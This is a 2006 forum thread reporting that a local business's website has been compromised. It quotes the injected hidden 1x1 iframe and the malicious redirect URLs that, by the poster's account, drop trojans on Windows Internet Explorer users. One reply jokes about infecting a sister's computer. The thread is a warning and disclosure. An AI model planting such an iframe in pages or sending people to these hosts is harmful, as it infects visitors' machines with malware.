Compromised site

Post by **dann** » Fri May 05, 2006 7:42 am

****Warning - Do not follow any of these links or execute any of the code using a Windows Machine ****

The webpage of a local business has been compromised. Whether this was intentional or not remains to be seen. The top of the page contains an iframe with the following code

Code: Select all

iframe src='http://*www.load2load.net/out.php?s_id=1' width=1 height=1></iframe

load2load.net redirects to this site:

Code: Select all

http://www.joker.blogorodie.ru/ie0601.htm

Where you can see all the wonderful javascript.

Do not view this site on a Windows computer using IE.

Tsuroerusu · Post by **Tsuroerusu** » Fri May 05, 2006 7:44 am

My sister will have a fun new startpage in 5 mins.!

snarkout · Post by **snarkout** » Fri May 05, 2006 7:54 am

Without clicking on the link, I'm guessing scat porn and a script that snarfs up your windows clipboard. That seems to be making a comeback.

Post by **dann** » Fri May 05, 2006 8:04 am

Snarkout wrote:Without clicking on the link, I'm guessing scat porn and a script that snarfs up your windows clipboard. That seems to be making a comeback.

It dumps some trojans down on to the system.

snarkout · Post by **snarkout** » Fri May 05, 2006 9:11 am

Is that the site you blogged about?

Post by **dann** » Fri May 05, 2006 9:56 am

Snarkout wrote:Is that the site you blogged about?

Yes it is.